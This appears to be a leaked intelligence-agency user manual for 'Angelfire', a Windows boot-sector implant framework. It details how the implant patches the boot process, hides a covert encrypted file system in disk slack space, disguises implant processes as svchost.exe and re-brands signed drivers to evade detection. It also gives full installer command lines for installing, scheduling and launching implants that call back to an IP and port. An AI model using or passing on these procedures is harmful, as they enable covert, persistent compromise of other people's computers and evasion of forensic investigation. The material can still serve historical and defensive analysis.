Engineering Development Group

(U) Angelfire v1.0
User's Manual

Rev. 1.0
9 November 2011

Change Log

Doc Rev	Document Date	Revision By	Change Description	Reference	Approval Date

Table of Contents

1. (U) Introduction

(TS) Angelfire is an implant comprised of 4 components: Solartime, Wolfcreek, MagicWand, and BadMFS.

Solartime modifies the partition boot sector to load some kernel code. That kernel code then modifies the Windows boot process so that when Windows loads boot time device drivers, an implant device driver can be loaded. The implant driver and Solartime boot code (aside from the partition boot sector modifications) are kept in a small user-specified file on disk. This file is encrypted.

Wolfcreek is the kernel code that Solartime executes. Wolfcreek is a self-loading driver, that once executed, can load other drivers and user-mode applications.

MagicWand is responsible for starting user applications. Any application started by MW is done without the implant ever being dropped to the file system. In other words, a process is created and the implant is loaded directly into memory. Currently all processes will be created as svchost. When viewed in task manager (or another process viewing tool) all properties of the process will be consistent with a real instance of svchost.exe including image path and parent process. Furthermore, since the implant code never touches the file system (aside from the possibility of paging) there is very little forensic evidence that the process was ever ran.

BadMFS is a covert file system that is created at the end of the active partition. It is used to store all drivers and implants that Wolfcreek will start. All files are obfuscated to avoid string or PE header scanning.

2. (S) Implant Forensics

(S) Angelfire has a small forensic footprint.

Table : (S) Angelfire Installer MD5 Signature

Angelfire Installer	MD5 Sum
stp.exe (default name[1])	
Pack file	
tdbsip.sys (default name)	
nvlmi.sys (default name)	

Table : (S) Angelfire Footprint Revision

Forensic Entry	Purpose	Changeable
File: encrypted container file	Holds boot code	Yes
Boot Sector: partition boot sector modification	Holds boot code	No

1 (S) The user may rename the Angelfire Installer as necessary without impact to Angelfire's operation.

Forensic Entry	Purpose	Changeable
Registry key: HKLM\System\CurrentControlSet\Control\Windows\ SystemLookup	Holds BadMFS parameters	No
Covert Store: BadMFS will create an encrypted covert file system in the file specified in the zf file. Alternatively, the covert file system can be placed at the end of the active partition.	Holds driver and user-mode implants	No

3. (S) Implant Operation

3.1 (U) Angelfire Installer

(S) The Angelfire Installer is the user's single mechanism for working with the Angelfire implant. The installer is used for installation, uninstallation, and access to the covert file system.

(S) Angelfire requires system administrative privileges to use the Installer.

3.1.1 (U) Command Line Specification

(S) The full command line specification for the Angelfire Installer is as follows:(U) Command Line Options

(U) Table shows the command line options supported by the Angelfire Installer.

Table : (S) Angelfire command line options

Command Line Option	Purpose	Default Value
-ipr	User-mode install (reboot required)	N/A
-ipl	Driver-based install	N/A
-upr	Update Angelfire (reboot required)	N/A
-r	Uninstall Angelfire	N/A
-c	Uninstall covert file system	N/A
-t	Delay timer. Format is YYYY:MM:DD:HH:MM:SS (used with –f)	N/A
-i <minutes> <max_delta_seconds>	Execute Interval. (used with –f)	N/A
-p <seconds>	Permanent delay (used with –f)	N/A
-f <file name> <file type-based options>	Add file to covert file system	N/A
-x <file name>	Delete file from covert file system	N/A
-l	List files in covert file system	N/A
-g <file name> <full path to local file>	Get a file from the covert file system. This copies it to the local disk.	N/A
-k <file name>	Executes a file in the covert file system. File name is case sensitive	N/A

3.2

3.3 (S) Using the ZF

(S) Angelfire uses the BadMFS covert file system to store many of the implants and data required to run. BadMFS uses a file called “zf” to determine where to create the file system. There are two options when creating the file system. The first option is to create it in a file on disk. The full file path is specified in the zf file. Care should be taken to ensure both the name and location of the file is inconspicuous. The other option is to have BadMFS create the file system in slack space at the end of the disk. To use this option, simply specify “PhysicalDrive” (no quotes) in the zf. The caveat with using this option is that some machines don’t have any space at the end of the drive. This is often the case with VmWare VM’s and OS’ installed by the user. Many machines with factory installed OS’ have enough space at the end of the drive to install BadMFS. If there is not enough space to install, space can be created by a third party application by shrinking the volume a small amount. BadMFS requires a minimum of 2 mb to install. If it is unable to install, BadMFS will return an error.

Ensure that the zf is in the same directory as the installer application.

3.4 (S) Angelfire Installation (-ipr or -ipl)

(S) Angelfire is installed onto a host machine by running the Installer with either the -ipr or -ipl option. **All files associated with install must be in the same directory as the installer during installation.** The container path specified on the command line can point to anywhere on the disk, however, **the drive letter must not be included in the path**. Installation on the active partition is assumed. Note: The installer is a 32 bit executable. If installation is being done on a 64 bit machine, and the user specifies the Windows\System32 directory for container placement, WOW will cause the file to be placed in the SysWOW64 directory. This will not affect Angelfire's execution.

3.4.1 (S) -ipr

(S) The -ipr option does a user-mode only install. That means no driver is required to perform an installation. **This option REQUIRES A REBOOT for Angelfire to begin executing**.

```
Parameters for an ipr based installation:
stp.exe -ipr <package file> <SLD> <zf>
<container path>

Example of doing an -ipr install with default binary
names:
stp.exe –ipr xqlmi.dat tdbsip.sys zf
\Windows\twill.log

Notes:
```

<container path> - This should be the full path starting with a SLASH ONLY. This parameter specifies where the container file will be created.

3.4.2 (S) -ipl

(S) The -ipl option performs a driver-based install. The advantage of this is that Angelfire will begin executing immediately. The disadvantage is the driver increases Anglefire's footprint on the system and if executing on a 64 bit machine, will need to be signed with a Class 3 code signing certificate. The driver is only needed for installation and can be deleted immediately after.

(S) When installing Angelfire on 64-bit systems with the -ipl option, the SolarTime driver (default name of nvlmi.sys) must be signed with a code signing certificate from a Certificate Authority approved by Microsoft for driver signing. The company name on the certificate probably won't match the company name in the file details tab when viewing the file on disk. The file details can be modified by EDG to match the certificate used.

Parameters for a -ipl based installation
stp.exe -ipl <package file> <SLD> <zf> <container path> <solartime driver>

Example of doing an -ipl install with default binary names:
stp.exe –ipl xqlmi.dat tdbsip.sys zf \Windows\twill.log nvlmi.sys

Notes:

<container path> - This should be the full path starting with a SLASH ONLY. This parameter specifies where the container file will be created.

Table : (S) -ipr and -ipl command line options

Command Line Option	Default Name	Can be renamed
<package file>	xqlmi.dat	Yes
<SLD>	tdbsip.sys	Yes
<zf>	zf	No
<container path>	User specified – no drive letter allowed	Yes
<solartime driver>	nvlmi.sys	Yes

3.4.3 (S) Re Installation (-ipr or -ipl)

(S) When reinstalling, first the –r option must be used to uninstall Angelfire. Then a reinstall can be done with either the –ipr or –ipl option.

3.5 (S) Angelfire Update (-upr)

(S) The Angelfire SLD, package file, and container can be updated by using the -upr option. Refer to the Angelfire Installation section for parameter definitions.

```
stp.exe -upr <package file> <SLD> <zf>
<container path>
```

3.6 (S) Angelfire Un-installation (-r)

(S) Angelfire is uninstalled by running the Installer with a command line option of -r. After uninstall is performed, all drivers and processes started by Angelfire will continue to run until reboot.

```
stp.exe –r
```

3.7 (S) Covert File System

(S) Angelfire uses the BadMFS covert file system. As noted in the ZF section, it is capable of either using slack space at the end of the disk or a file on the file system as a backing store. In either case, the maximum size the file system can grow is 200mb. There is no installation function for the covert file system, because it automatically installs whenever a file operation is done (i.e. –f).

(S) The covert file system is not intended to hold large files (multi-mb). If a file write (-f) for a large file fails, it is almost certainly due to resource constraints on the system.

3.8 (S) Covert File System Uninstallation (-c)

(S) The BadMFS covert file system can be removed by using the -c option from the installer. This does not uninstall Angelfire, however, if BadMFS is not there on a system reboot, Angelfire will exit. NOTE: If there are large files in the covert file system, this command can take a bit longer to complete.

```
stp.exe –c
```

3.9 (S) Adding a File To The Covert File System (-f)

(S) To add a file to the BadMFS covert file system, you must use the -f option. Whenever files are added to the covert file system, a 3 digit number is appended to the beginning of the file name to encode information about the file for internal Angelfire use. In the cases of .exe's and .sys files, an additional file is also created (with a similar name) that

contains the command line parameters to be passed to the .exe. To delete an .exe or .sys file, both of the files matching the implant name should be deleted.

Parameters for using the -f option:

```
stp.exe –f <file to add> <file type options>
```

3.9.1 *(S) Adding a driver to the covert file system (-f)*

(S) To add a device driver to the covert file system, it must have a .sys file extension. After specifying the driver name, the user must specify if they wish to have it start at boot time (-b), system start time (-s), or automatic start time (-a). Note that currently, -b and -s both result in the driver being started during system start time.

Example of adding a driver to the covert file system:

```
stp.exe –f c:\tmp\mydriver.sys -s
```

3.9.2 *(S) Adding an executable to the covert file system (-f)*

(S) To add an executable to the covert file system, use the -f option. The executable must have an .exe file extension. After specifying the file name, the user can optionally add command arguments by specifying the -c option.

Limitations on what types of executables can be run:

- No applications with Graphical User Interfaces (GUI) can be run. This is because the parent process is always services.exe. Services executes in a different window station than the logged on user, so there is no way for it spawn the GUI.
- The executable must match the architecture it is being run on (i.e. a 64 bit version of Bulldozer on a 64 bit version of Windows). This also means that you cannot run a 32 bit executable on 64 bit Windows. Note: If a mismatched binary (i.e. 32 bit executable on a 64 bit OS) is run, it will fail gracefully.
- The application cannot interact with the console (such as cmd.exe).
- The application cannot be compiled to user side-by-side assemblies. This is a feature in Windows that tries to eliminate “dll hell” by storing what specific versions of Windows dll’s are required in a manifest which is compiled into the binary. When Windows starts the executable, it pulls those specific versions of the dll’s from a dll database on the machine.
- The application cannot require that a specific user dll be loaded with it. If this is a requirement, the application should either pack the dll in a resource and extract it at run-time, or use the BadMFS library to pull the dll from the BadMFS covert file system.

Example of adding an executable with command arguments to the covert file system (note that all parameters after -c are arguments for xserver.exe):

```
stp.exe –f c:\tmp\xserver.exe -c -a 10.3.2.130 -p 1999
```

3.9.3 *(S) Adding a driver or executable to the covert file system with a one-time delay (-t)*

(S) Angelfire is capable of executing both applications and drivers at a later date and time. This accomplished by using the -t option with the following date/time format: **YYYY:MM:DD:HH:MM:SS**. For example, to execute an implant on July 4th, 2011 at 1:00pm, you would use the following command:

```
stp.exe –f c:\tmp\xserver.exe -t 2011:07:04:13:00:00 -c -a
10.3.2.130 -p 1999
```

The -t option must be used directly before the -c option (if one is specified) and before the -i option (if one is specified).

3.9.4 *(S) Periodically executing an application with an interval (-i)*

(S) Angelfire can periodically execute applications with a user defined interval. The user specifies the interval in minutes and immediately after that, specifies a time delta in seconds. The delta is used to calculate a random number that is no larger than the delta. That number is then added to the interval value to provide bounded randomness to the execution interval. **An interval less than 2 minutes should not be used due to inconsistent behavior in MagicWand (see Known Issues).** The following example executes an application with an interval of 5 minutes and a delta of 60 seconds:

```
stp.exe –f c:\tmp\xserver.exe -i 5 60 -c -a 10.3.2.130 -p
1999
```

The -i option must be used directly before the -c option and after the -t option. **Additionally, the -i option cannot be used with drivers**.

3.9.5 *(S) Adding a permanent delay (-p)*

(S) Angelfire can apply a delay to execution of user applications or drivers. The delay is specified in seconds and is fixed (no delta is applied). There are some rules with regards to when and how the delay is applied. First, it is applied after any date/time delay (-t). Second, it is not applied during any interval-based (-i) re executions. Third, it does not go away (unlike –t). Every reboot, the delay will be applied. The permanent delay should be used after a –t and before a –i. Here is an example of applying a 30 second permanent delay:

```
stp.exe –f c:\tmp\xserver.exe -p 30 -c -a 10.3.2.130 -p 1999
```

3.9.6 *(S) Deleting an executable from the covert file system (-x)*

(S) To delete an executable from the covert file system, use the -x option. The file name specified must match the file name in the covert file system exactly. Note, that to delete an executable, you might also have to delete its command line file (see the -f option).

Example of deleting a file from the covert file system.

```
stp.exe -x 001xserver.exe
```

3.10 (S) ListingThe Contents Of The Covert File System (-l)

(S) To list the names of all files in the covert file system, use the -l option.

```
stp.exe –l
```

3.11 (S) Getting a File From The Covert File System (-g)

(S) To get a file from the covert file system, use the -g option. Note that this will write the file to the target's local file system. This might not be desirable depending on the contents of the file.

Parameters for using the -g option:

```
stp.exe –g <file to get> <full destination path to file>
```

3.12 (S) Executing binaries on an existing install without reboot (-k)

(S) If Angelfire is already installed and running on a system, you may use the –k option to execute a binary immediately. The implant or driver must either be already in the covert store or added using the –f option. The file name specified in the –k option is case sensitive. The Angelfire driver polls periodically for new files to execute, so it might take a few seconds for the implant to execute after doing a –k. Only one –k execution can be done at a time. The previous one must finish before stp.exe allows another one to occur. To determine if there is an outstanding execution, do a file listing and look for the file _drop. Here is an example of a sequence of commands that would add bulldozer.exe to the covert store and then immediately execute it:

stp.exe –f bulldozer.exe –c –a 10.3.2.50 –p 1999
stp.exe –k bulldozer.exe

4. (U) Operational Notes

4.1 (S) Post install cleanup

(S) After installation, uninstallation, update, or any covert file system activity, all Angelfire related files may be deleted with the exception of the container file that was created as part of the installation process. Additionally, any driver implant or user

implant files added to the covert file system may be deleted from the OS file system (i.e. NTFS).

4.2 (S) Using Angelfire To Start Drivers

(S) Angelfire is capable of starting kernel mode drivers. The driver must first be added to the covert file system by using the -f option. See the section on adding drivers to the covert file system for more information. On reboot, the any files with a .sys extension will be executed at the start time the user specified. There are some limitations to driver execution:

- Drivers will not have Structured Exception Handling (SEH) available even if the driver was build with SEH enabled. This will be added in a future version of Angelfire.
- Angelfire can optionally create and pass a driver object to drivers. If no driver object is used, the driver will be stealthier. If a driver is expecting a driver object and none is passed, the system will blue screen. It is up to the operator to make this determination on a driver by driver basis.
- Once started, drivers cannot be unloaded by Angelfire. However, drivers can terminate execution themselves (exit) .
- If a driver start type of boot start (-b) is specified, the driver will be started at the same time as the system start drivers (-s). This is a limitation of the covert file system and will be fixed in a future version.

4.3 (S) Using Angelfire To Start Executables

(S) Angelfire is capable of starting executables. The executable must first be added to the covert file system by using the -f option. See the section on adding executables to the covert file system for more information. There are some limitations to starting executables:

- When viewing an Angelfire-started process in Task Manager or another process viewer, the image name will be svchost.exe. It has been determined that svchost is the best (most reliable) process to use for process execution.
- When viewing an Angelfire-started process in Task Manager or another process viewer, the command line string will display whatever the user passed as the command line when the file was added to the covert file system. If no command line string is specified, then Angelfire will use a default string ("c:\windows\system32\svchost.exe -k WerSvcGroup"). It is recommended, if possible, to not specify a command line due to its visibility in process viewing applications.

4.4 (S) Error Logging

(S) If any errors are encountered during the installation process, an error code will be returned on the command line of the installation application. If errors are encountered during operation of Angelfire, an error log is created in the covert file system with the name "error_log". To see the errors, retrieve the error log using the -g option and

examine the error log in a hex viewer. The log is filled with contiguous 2 byte error codes. To get the error code, take the 2 bytes and swap them. Take that value (which is in hexadecimal and convert it to decimal. The error codes can be referenced here to determine the cause of the error.

5. (S) OS Compatibility List

(S) Angelfire is compatible with the following 32-bit systems: XP, Server 2003, Vista, Server 2008, Server 2008 R2, and Win7.
(S) Angelfire is compatible with the following 64-bit systems: Vista, Server 2008, Server 2008 R2, Win7.

6. (U) Known Issues

(U) While Angelfire attempts to provide a robust environment for the user, there are some limitations that a user should be aware of prior to use. Table lists those issues that are currently known to the Angelfire development team.

Table : (S) Known Issues

Issue	Cause	Remediation
Solartime does a heuristic check of the operating system at boot time to determine if it is possible to patch it. It is possible that this heuristic check will succeed, yet the OS has changed in a manner that would cause a crash if patched.	The heuristic algorithm is imperfect and can still have false positives.	Solartime has a more restrictive setting that will only allow the patch to proceed if the OS has not changed. The downside is, that if a new service pack or hotfix is applied, Solartime will not launch on bootup.
SEH doesn't work in drivers started by Angelfire.	The SEH environment is not configured correctly during driver load.	This will be fixed in a future version of Angelfire.
When viewing an Angelfire-started process in Task Manager or another process viewer, the command line string will display whatever the user passed as the command line when the file was added to the covert file system.	Process viewers display whatever command line was passed to the executable.	Executables that are started by Angelfire should not use a command line if possible. This will allow Angelfire to display a svchost.exe appropriate command line, allowing it to blend in with everything else.
To start processes, Angelfire must know some internal structures of Windows. All precaution has been taken to ensure those structures are exactly what Angelfire expects them to be. If Angelfire detects a change in the structures, it will not attempt to start processes.	OS updates can cause the internal structures to change.	Keep Angelfire updated with the latest OS structures.

Issue	Cause	Remediation
When running on a 64-bit OS, if the container path is in the \Windows\system32 directory on install, the container will actually get placed in the SysWOW64 directory. This should not affect Angelfire operation.	The Angelfire installer is a 32 bit application. When accessing directories on a 64 bit system, Windows will alias some directories to their WOW equivalents.	None.
If the user chose to install BadMFS at the end of the logical volume and if there is insufficient space at the end of the logical volume, the covert file system won't install. This is frequently the case with VmWare guest OS'. This is usually the case when the -l option returns error code 617. NOTE: this is only if “PhysicalDrive” is specified in the zf to indicate that the covert file system is to be installed in the drive slack space. This does not apply to a file-based covert file system.	The covert file system needs a minimum of 2mb at the end of the volume to install correctly.	Shrink the volume using 3rd party disk tools. The covert file system needs a minimum of 2mb to install correctly.
If the container file is deleted, but Angelfire has not been uninstalled, it will continue to work on reboot until the disk clusters that the container file occupies are overwritten by the file system. If this happens, the integrity check of the container file will fail and Angelfire will allow the boot process to continue as normal.	The Angelfire boot process references the location of the container file based on its file ID, not the file name. Because of this approach, it won't recognize when the container has been deleted.	None.
If Windows is installed on a non-standard drive (i.e. D:), processes started by Angelfire with a default command line will have a svchost.exe path of "c:\windows\system32\svchost.exe" . This would be inconsistent with the actual svchost.exe path on the system. NOTE: this only applies to applications started with no parameters.	Angelfire does not dynamically determine the path of svchost.exe.	A future version of Angelfire will dynamically determine svhost.exe's path.
When installing Angelfire on 64-bit systems with the -ipl option, the SolarTime driver (default name of nvlmi.sys) must be signed with a code signing certificate from a Certificate Authority approved by Microsoft for driver signing. The company name on the certificate probably won't match the company name in the file details tab when viewing the file on disk.	The file details resource must be compiled as part of the driver file.	The file details can be modified by EDG to match the certificate used. Alternatively a tool could be developed that modifies the details values in the resource.

Issue	Cause	Remediation
If a driver start type of boot start (-b) is specified, the driver will be started at the same time as the system start drivers (-s).	This is a limitation of the covert file system.	This will be fixed in a future version.
If –c is used on a running system and then a reboot occurs, wolfcreek will exit during startup.	This behavior is expected. If there is no covert storage area, wolfcreek cannot function.	Re add the covert storage area by using one of the following BadMFS commands: –l, -f
If an existing file (not badmfs) is specified in the zf, it will be used and modified by badmfs.	BadMFS does not check to see if the file specified is a valid badmfs archive.	In the future, BadMFS can check to see if the file is actually a valid BadMFS archive. Until then, care must be taken when specifying the file name.
If an application that is started by Angelfire crashes, it is possible that a dialog box will pop up on the target machine stating that svchost.exe has crashed.	All user implants look like svchost.exe.	Fix the bug in the crashing implant.
If a reinstallation is being done (i.e. a –r followed by a –ipl) it is likely an error will be returned by stp (603 or 607).	This is due to remnants of Angelfire remaining in memory for a short period of time following the –r command.	Run –ipl again and it should succeed.
An application that uses networking is failing when started on reboot.	Angelfire starts executables very early and sometimes the network stack might not be fully up and available.	Use the –p switch to delay the application executing for x number of seconds. This should allow the network stack time to become available.
When using the –i (interval) option, if an interval of less than 2 minutes is used, there could be network anomalies. This is similar to the previous issue.	Cause is unknown.	The problem has only been observed with an interval of less than 2 minutes.
When executing GUI programs with Angelfire, the process might start, but the GUI will not be visible.	This is due to the manner in which MagicWand starts processes.	This might be fixed in a future version.
Angelfire does not allow execution of 32 bit implants on a 64 bit machine.	This is a limitation of MagicWand as it doesn't handle WOW 64 execution.	Ensure you are running a 64 bit version of the implant on 64 bit machines.

7. (U) Installer Error Conditions

(U) Table lists the error codes that the Angelfire Installer produces.

Table (S) Angelfire Installer Error Codes

Error Code	Error Description
0	No error, everything was successful.
1	General failure code
101	Container not found (an update error).
102	Container found (on install - previous installation).
103	Container rename failure.
104	Container path failure.
105	Container Object ID failure.
106	Container pack failure.
107	Container unpack failure.
108	Container write failure.
109	Container read failure.
110	Container clean failure.
111	Container get path failure.
200	Dollar boot change failure.
201	Multiboot dollar boot.
202	Dollar boot write failure.
203	Dollar boot read failure.
301	Bad install package.
401	Existing install test failure.
501	EFI found failure.
502	Unsupported OS.
503	Unsupported file system.
600	Invalid parameters.
601	Path parse failure.
603	Driver install failure.
604	CPUID get failure.
605	Version get failure.
606	ACPI data get failure.
607	Covert store install failure.
608	Covert store uninstall failure.
609	Covert store add failure.
610	Covert store delete failure.
611	Covert store list failure.
612	Covert store get failure.
613	Covert store create file failure.
614	Covert store read file failure.
615	Covert store write file failure.
616	Invalid file path.
617	File start failure.
618	File path construct fail.
619	File open fail.

Error Code	Error Description
620	File get file size fail.
621	File read fail.
622	File write fail.
623	Memory alloc fail.
624	Construct command line fail.
625	Convert date time fail.
626	String operation fail.
627	Exception caught fail.
628	File mapping fail.
629	File too large fail.

8. (U) Runtime Error Conditions

(U) Run-time error codes produced while Angelfire is running are listed in Table . These error codes may appear in the error log stored in the covert file system.

Table : (S) Angelfire Run-time Error Codes

Error Code	Error Description
1	PE image error. This could mean you are executing a 32 bit PE on a 64 bit system.
2	Invalid parameter error.
3	Memory allocation error.
4	QuerySystemInformation error.
5	Exception error.
6	Wait error.
7	String error.
8	Start driver error.
9	Driver start entry error.
10	Thread start error.
11	Address not readable error.
12	File open error.
13	Query file error.
14	Invalid process structure error.
15	Invalid thread structure error.
16	Invalid section structure error.
17	Invalid segment structure error.
18	Process open error.
19	Process create error.
20	OS version error.
21	Non-PAE system error.
22	Event error.
23	Protect virtual memory error.
24	Write virtual memory error.
25	Query process error.
26	Section error.
27	Map section error.
28	Wait reply port error.
29	Boot start drivers error.
30	System start drivers error.
31	Automatic start drivers error.
32	Find system start driver error.
33	Watch for trigger process error.
34	Find process name hash error.
35	Construct file name error.
36	Find file in list error.
37	Process create error.
38	Process drivers error.
39	Process user applications error.

40	Relocations fixup error.
41	Resolve imports error.
42	Get entry point error.
43	Get process and thread information error.
44	Find APC thread error
45	Base create stack error.
46	BMFS list error.